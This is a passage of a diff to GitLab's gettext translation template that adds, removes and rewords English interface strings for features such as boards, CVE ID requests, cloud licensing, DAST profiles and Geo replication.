+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
